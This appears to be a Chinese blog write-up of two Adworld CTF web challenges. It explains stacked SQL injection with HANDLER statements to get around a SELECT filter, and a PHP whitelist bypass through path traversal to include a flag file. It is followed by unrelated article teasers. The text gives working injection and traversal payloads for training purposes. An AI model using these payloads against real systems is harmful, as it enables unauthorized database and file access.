双剑破天门:攻防世界Web题解之独孤九剑心法(九)

双剑破天门:攻防世界Web题解之独孤九剑心法(九)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:Supersqli

二:Warmup

三:总结

1.supersqli

2.Warmup


一:Supersqli

打开如下所示,初步筛查这应该是一道SQL注入题

这确实是一道SQL注入

1’ or 1=1 #

那接下来就是查询字段数

字段数为2

1’ order by 2 #

查询数据库

正常的查询发现不行,被过滤了

但是没有过滤分号那就可以堆叠注入联合show

1’;show tables ;#

成功查询到一个特殊的表

1';show columns from `1919810931114514`;#

查询发现此表含flag但select被过滤如何查询flag

利用handler代替select 查询

payload:1';handler `1919810931114514` open as `a`;handler `a` read next;#   

查询该表的数据

成功拿到flag


二:Warmup

点开发现有提示source.php

访问source.php和hint.php

是一堆代码,进行代码审计

访问hint.php提示我们flag在ffffllllaaaagggg


代码审计:

<?php highlight_file(__FILE__); //代码高亮 class emmm { public static function checkFile(&$page) //checkFile用于检查文件参数是否合法&$page 表示通过引用传递参数,这样在函数内部对 $page 的修改会影响到函数外部的变量。 { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //定义一个白名单数组,里面包含允许包含的文件名(source.php和hint.php) if (! isset($page) || !is_string($page)) { //第一个if功能为检查$page是否存在且为字符串类型如果不是则返回false echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { ///检查$page是否存在于白名单中存在则返回true return true; } $_page = mb_substr( //截取$page中?之前的部分存在$_page(mb_substr是字符串截取函数,mb_strpos是字符串查找函数) $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { //检查截取后$_page是否在白名单中存在则返回true return true; } $_page = urldecode($page); //对$page进行url解码 $_page = mb_substr( //截取?之前的部分存在$_page中 $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { //检查解码并截取后的$_page是否在白名单中存在则返回true return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) //也就是说只有过掉checkFile方法才可以包含文件 ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>

经过如上审计我们得知如果想要拿到flag就需过掉checkfile方法,那checkfile方法有四个if判断语句

第一个判断语句就是判断我们传进去的是否为不为空且是字符串

第二个判断语句判断我们传的值是否在白名单中

第三个判断截取?之前部分后是否在白名单中

第四个判断语句判断对我们传的值URL解码截取后是否在白名单中

总得来说我们正常包含文件时/source.php?file=........

但是他第三年个和第四个判断语句只截取?之前的而file则被筛掉导致无法包含

所以只要我们变换一下顺序即可且第二个到第四个if判断只要有一个绕过即可

Payload:?file=source.php?../../../../../../ffffllllaaaagggg   (绕过第三个if判断)

Payload:/source.php?file=source.php?../../../../../../ffffllllaaaagggg(这样也可以)

成功拿到flag


三:总结

1.supersqli

SQL注入漏洞,考察绕过过滤和堆叠注入技巧

解题要点

  1. 过滤检测:题目对常见的SQL注入关键字进行了过滤,如selectupdatedelete
  2. 堆叠注入:发现可以使用分号;进行堆叠注入
  3. 绕过方法
    • 使用prepareexecute预处理语句绕过过滤
    • 或者使用handler语句代替select进行数据读取

关键payload

1';handler `1919810931114514` open as `a`;handler `a` read first;#

学习收获

  • 堆叠注入的实际应用
  • 预处理语句在SQL注入中的使用
  • handler语句作为select的替代方案
  • 字符串拼接绕过关键字过滤的技巧

2.Warmup

代码审计与文件包含漏洞

解题要点

  1. 源码分析:通过查看页面源码发现提示source.php
  2. 文件包含:访问source.php获取源代码进行审计
  3. 漏洞点
    • 存在文件包含功能,但添加了../..\的过滤
    • 使用checkFile函数进行白名单检查
  4. 绕过方法
    • 利用四层目录结构../../../../绕过检查
    • 最终payload构造为file=source.php?../../../../../ffffllllaaaagggg

学习收获

  • PHP代码审计的基本方法
  • 文件包含漏洞的利用技巧
  • 目录遍历的绕过方法
  • 白名单检查机制的绕过思路

综合对比

方面

Supersqli

Warmup

漏洞类型

SQL注入

文件包含

主要技巧

堆叠注入、预处理语句、handler语法

目录遍历、白名单绕过

过滤机制

关键字过滤

路径符号过滤

解题关键

找到未被过滤的替代语法

构造足够深的目录结构绕过检查

难度等级

简单

简单


(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

Read more

IntelliJ IDEA中GitHub Copilot完整使用教程:从安装到实战技巧

IntelliJ IDEA中GitHub Copilot完整使用教程:从安装到实战技巧

IntelliJ IDEA 中 AI 工具 Codex (GitHub Copilot) 完整使用教程 在 IntelliJ IDEA 中,Codex 的能力主要通过 GitHub Copilot 插件体现。它是目前最强大的 AI 编程助手,能够基于 OpenAI Codex 模型提供实时代码建议、业务逻辑实现以及复杂的重构支持。 一、 安装与环境配置 1. 插件安装 1. 打开 IntelliJ IDEA,进入设置:File -> Settings (Windows) 或 IntelliJ IDEA -> Settings (Mac)。 2. 在左侧菜单选择 Plugins,

基于改进YOLOv11n的无人机红外目标检测算法

基于改进YOLOv11n的无人机红外目标检测算法

导读: 面向无人机红外图像中目标尺度小、对比度低与边界模糊等问题,本文提出了一种基于YOLOv11n模型的多尺度注意力机制优化方法。首先,在引入小目标检测层的基础上,融合多分支与双向金字塔思想构建双向多分支辅助特征金字塔网络,通过可学习权重自适应融合各层特征,增强微小目标表征。其次,在检测头侧采用动态注意力检测头,从尺度、空间与通道三方面进行协同建模,提升关键区域聚焦与特征利用效率。最后,提出NWD-Inner-MPDIoU组合损失函数,协同提升低重叠、边界不清条件下的定位稳定性。在HIT-UAV红外小目标数据集上进行系统实验评估,结果表明:所提方法mAP50达92.8%,相比基线模型提升2.2%,且召回率与准确率分别提高1.6%和0.6%。同时,模型仅小幅增加复杂度,整体仍保持轻量化与可部署性。综上,本文方法在保证效率的同时有效提升了无人机红外目标的检测质量,为后续扩展研究提供了可靠的技术基础。 作者信息: 康泽韬, 董智红*, 王孜心:北京印刷学院信息工程学院,北京 论文详情 YOLOv11n的网络架构如图1所示,由骨干网络、颈部网络、检测头三部分组成。 针对红

AM32固件完整配置指南:解决无人机电调5大常见问题

AM32固件完整配置指南:解决无人机电调5大常见问题 【免费下载链接】AM32-MultiRotor-ESC-firmwareFirmware for stm32f051 based speed controllers for use with mutirotors 项目地址: https://gitcode.com/gh_mirrors/am/AM32-MultiRotor-ESC-firmware AM32固件作为专为STM32 ARM处理器设计的开源无刷电机控制固件,为无人机爱好者提供了强大的电调配置能力。无论你是新手还是资深玩家,这份指南都将帮助你解决实际使用中遇到的各种问题。 问题一:编译环境搭建困难 症状:编译时出现工具链缺失、版本不兼容等问题 解决方案: 确保系统已安装ARM GCC编译器,这是编译STM32固件的必备工具。获取项目代码的正确方式: git clone https://gitcode.com/gh_mirrors/am/AM32-MultiRotor-ESC-firmware cd AM32-MultiRotor-ESC-firmware

FAIR plus 机器人全产业链接会,链动全球智能新机遇

FAIR plus 机器人全产业链接会,链动全球智能新机遇

本文声明:本篇内容为个人真实体验分享,非商业广告,无强制消费引导。所有推荐仅代表个人感受,仅供参考,按需选择。 过往十年,中国机器人产业蓬勃发展。中国出品的核心部件得到了产业规模化的验证,机器人产品的整体制造能力也开始向全球输出。与此同时,机器人产业正在更加紧密地与人工智能融合,机器人从专用智能走向通用智能。 在此背景下,深圳市机器人协会打造了“FAIR plus机器人全产业链接会”,FAIR plus是一个专注于机器人全产业链技术和开发资源的平台,也是全球首个机器人开发技术展,以供应链和创新技术为切入点,推动全球具身智能机器人产业的发展。通过学术会议、技术标准、社区培育、供需对接等方式,创造人工智能+机器人各产业链环节的开发、产品、工程、方案等技术人员,以及有意引入机器人的场景方相关工艺、设备、信息技术人员线下见面的机会,达成合作,以有效促进机器人向智能化方向发展,连同提升产业整体能力的建设和配置。 2025年4月,首届“FAIR plus机器人全产业链接会”(FAIR plus 2025)以“智启未来链动全球”为主题,汇聚全球顶尖专家、企业领袖,